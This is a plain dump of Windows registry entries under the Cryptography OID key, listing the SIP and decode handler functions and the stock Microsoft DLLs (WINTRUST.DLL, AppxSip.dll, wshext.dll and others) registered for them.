HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptsvcDllCtrl\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\crypttpmeksvc.dll\0C:\Windows\System32\cryptcatsvc.dll\0C:\Windows\System32\webauthn.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\GetSecureTime\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\SecureTimeAggregator.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CertDllVerifyCTLUsage\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CertDllVerifyRevocation\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2000
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2001
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2002
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2003
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2004
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2005
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2006
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2007
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2008
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2009
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2010
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2011
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2012
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2130
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2221
    Dll    REG_SZ    WINTRUST.DLL

